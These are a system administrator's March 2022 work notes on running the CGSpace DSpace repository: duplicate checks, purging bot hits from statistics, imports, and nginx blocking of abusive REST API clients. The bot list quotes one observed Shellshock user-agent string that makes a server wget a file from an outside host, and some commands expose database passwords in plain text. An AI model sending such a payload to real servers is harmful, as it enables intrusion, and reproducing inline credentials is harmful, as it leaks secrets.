CGSpace Notes

Documenting day-to-day work on the CGSpace repository.

March, 2022

in  Notes

2022-03-01

  • Send Gaia the last batch of potential duplicates for items 701 to 980:
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv

2022-03-04

  • Looking over the CGSpace Solr statistics from 2022-02
    • I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!
    • Here are some of the more prevalent or weird ones:
      • axios/0.21.1
      • Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)
      • Nutraspace/Nutch-1.2 (www.nutraspace.com)
      • Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)
      • Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com
      • Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)
      • Crowsnest/0.5 (+http://www.crowsnest.tv/)
      • Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com
      • metha/0.2.27
      • ZaloPC-win32-24v454
      • Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x
      • ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)
      • FullStoryBot/1.0 (+https://www.fullstory.com)
      • Link Validity Check From: http://www.usgs.gov
      • OSPScraper (+https://www.opensyllabusproject.org)
      • () { :;}; /bin/bash -c "wget -O /tmp/bbb www.redel.net.br/1.php?id=3137382e37392e3138372e313832"
    • I submitted a pull request to COUNTER-Robots with some of these
  • I purged a bunch of hits from the stats using the check-spider-hits.sh script:
]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
Purging 6 hits from scalaj-http in statistics
Purging 5 hits from lua-resty-http in statistics
Purging 9 hits from AHC in statistics
Purging 7 hits from acebookexternalhit in statistics
Purging 1011 hits from axios\/[0-9] in statistics
Purging 2216 hits from Faveeo\/[0-9] in statistics
Purging 1164 hits from Moreover\/[0-9] in statistics
Purging 740 hits from Exploratodo\/[0-9] in statistics
Purging 585 hits from GroupHigh\/[0-9] in statistics
Purging 438 hits from Crowsnest\/[0-9] in statistics
Purging 1326 hits from nbertaupete95 in statistics
Purging 182 hits from metha\/[0-9] in statistics
Purging 68 hits from ZaloPC-win32-24v454 in statistics
Purging 1644 hits from Firefox\/x\.x in statistics
Purging 678 hits from ZoteroTranslationServer in statistics
Purging 27 hits from FullStoryBot in statistics
Purging 26 hits from Link Validity Check in statistics
Purging 26 hits from OSPScraper in statistics
Purging 1 hits from 3137382e37392e3138372e313832 in statistics
Purging 2755 hits from Nutch-[0-9] in statistics

Total number of bot hits purged: 12914
  • I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project

2022-03-05

  • Start AReS harvest

2022-03-10

  • A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet)
    • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
or(
isNotNull(value.match('707')),
isNotNull(value.match('709')),
isNotNull(value.match('710')),
isNotNull(value.match('711')),
isNotNull(value.match('713')),
isNotNull(value.match('717')),
isNotNull(value.match('718')),
...
isNotNull(value.match('821'))
)
  • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-10-tac-batch4-701to980.map

2022-03-12

  • Update all containers and rebuild OpenRXV on linode20:
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
$ docker-compose build
  • Then run all system updates and reboot
  • Start a full harvest on AReS

2022-03-16

  • Meeting with KM/KS group to start talking about the way forward for repositories and web publishing
    • We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing

2022-03-20

  • Start a full harvest on AReS

2022-03-21

  • Review a few submissions for Open Repositories 2022
  • Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed

2022-03-22

  • I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there
    • I had been meaning to update my local database…
  • I re-imported the CGIAR CAS documents to DSpace Test and generated the PDF thumbnails:
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-22-tac-700.map
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -i 10568/118432
  • On my local environment I decided to run the check-duplicates.py script one more time with all 700 items:
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv > /tmp/tac.csv
$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p 'dom@in34sniper' -o /tmp/2022-03-22-tac-duplicates.csv
$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv > /tmp/tac-filenames.csv
$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv > /tmp/tac-final-duplicates.csv
  • I sent the resulting 76 items to Gaia to check
  • UptimeRobot said that CGSpace was down
    • I looked and found many locks belonging to the REST API application:
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
    301 dspaceWeb
   2390 dspaceApi
  • Looking at nginx’s logs, I found the top addresses making requests today:
# awk '{print $1}' /var/log/nginx/rest.log | sort | uniq -c | sort -h
   1977 45.5.184.2
   3167 70.32.90.172
   4754 54.195.118.125
   5411 205.186.128.185
   6826 137.184.159.211
  • 137.184.159.211 is on DigitalOcean using this user agent: GuzzleHttp/6.3.3 curl/7.81.0 PHP/7.4.28
    • I blocked this IP in nginx and the load went down immediately
  • 205.186.128.185 is on Media Temple, but it’s OK because it’s the CCAFS publications importer bot
  • 54.195.118.125 is on Amazon, but is also a CCAFS publications importer bot apparently (perhaps a test server)
  • 70.32.90.172 is on Media Temple and has no user agent
  • What is surprising to me is that we already have an nginx rule to return HTTP 403 for requests without a user agent
    • I verified it works as expected with an empty user agent:
$ curl -H User-Agent:'' 'https://dspacetest.cgiar.org/rest/handle/10568/34799?expand=all' 
Due to abuse we no longer permit requests without a user agent. Please specify a descriptive user agent, for example containing the word 'bot', if you are accessing the site programmatically. For more information see here: https://dspacetest.cgiar.org/page/about.
  • I note that the nginx log shows ‘-’ for a request with an empty user agent, which would be indistinguishable from a request with a ‘-’, for example these were successful:
70.32.90.172 - - [22/Mar/2022:11:59:10 +0100] "GET /rest/handle/10568/34374?expand=all HTTP/1.0" 200 10671 "-" "-"
70.32.90.172 - - [22/Mar/2022:11:59:14 +0100] "GET /rest/handle/10568/34795?expand=all HTTP/1.0" 200 11394 "-" "-"
  • I can only assume that these requests used a literal ‘-’ so I will have to add an nginx rule to block those too
  • Otherwise, I see from my notes that 70.32.90.172 is the wle.cgiar.org REST API harvester… I should ask Macaroni Bros about that

2022-03-24

  • Maria from ABC asked about a reporting discrepancy on AReS
    • I think it’s because the last harvest was over the weekend, and she was expecting to see items submitted this week
  • Paola from ABC said they are decomissioning the server where many of their library PDFs are hosted
    • She asked if we can download them and upload them directly to CGSpace
  • I re-created my local Artifactory container
  • I am doing a walkthrough of DSpace 7.3-SNAPSHOT to see how things are lately
    • One thing I realized is that OAI is no longer a standalone web application, it is part of the server app now: http://localhost:8080/server/oai/request?verb=Identify
  • Deploy PostgreSQL 12 on CGSpace (linode18) but don’t switch over yet, because I see some users active
    • I did this on DSpace Test in 2022-02 so I just followed the same procedure
    • After that I ran all system updates and rebooted the server